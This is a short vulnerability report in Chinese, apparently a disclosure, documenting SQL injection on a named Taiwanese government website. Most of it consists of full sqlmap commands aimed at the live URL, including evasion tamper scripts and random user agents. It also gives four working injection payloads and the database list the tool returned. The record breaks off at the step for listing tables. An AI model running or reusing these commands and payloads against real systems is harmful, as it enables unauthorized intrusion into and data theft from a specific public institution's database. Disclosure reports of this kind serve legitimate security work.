敘述

漏洞種類：SQL Injection

重現漏洞方式：

使用SQLMAP工具進行測試

1.簡易測試發現有SQL Injection
語法：

> sqlmap -u "http://www.phcouncil.gov.tw/show/board.php?no=B06050001"

結果：

[10:30:05] [INFO] resuming back-end DBMS 'mysql'
[10:30:05] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---

    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: no=B06050001' AND 2308=2308 AND 'uWGU'='uWGU

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: no=B06050001' AND (SELECT 6523 FROM(SELECT COUNT(*),CONCAT(0x716b706b71,(SELECT (ELT(6523=6523,1))),0x716b706a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'enHZ'='enHZ

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: no=B06050001' AND (SELECT 1494 FROM (SELECT(SLEEP(5)))bMjD) AND 'XrRi'='XrRi

    Type: UNION query
    Title: MySQL UNION query (NULL) - 5 columns
    Payload: no=-3934' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716b706b71,0x7972676d444158626f685669654a6b79617668787561555376794c777675636d636b4e4344797644,0x716b706a71),NULL#

back-end DBMS: MySQL >= 5.0 (MariaDB fork)

2.嘗試取得資料庫清單，發現資料庫phcouncil
語法：

> sqlmap -u "http://www.phcouncil.gov.tw/show/board.php?no=B06050001" --dbms=mysql --technique=BETU --level=5 --risk=2 --batch --random-agent --tamper=space2comment,space2hash --dbs

結果：

available databases [6]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] phcouncil
[*] phpmyadmin
[*] test

3.嘗試取得資料庫phcouncil有哪些資料表
語法：

> sqlmap -u "http://www.phcouncil.gov.tw/show/board.php?no=B06050001" --dbms=mysql --technique=BETU --level=5 --risk=2 --batch --random-agent --tamper=space2comment,space2hash  --dbs --fingerprint -D "phcouncil" --tables

結果：
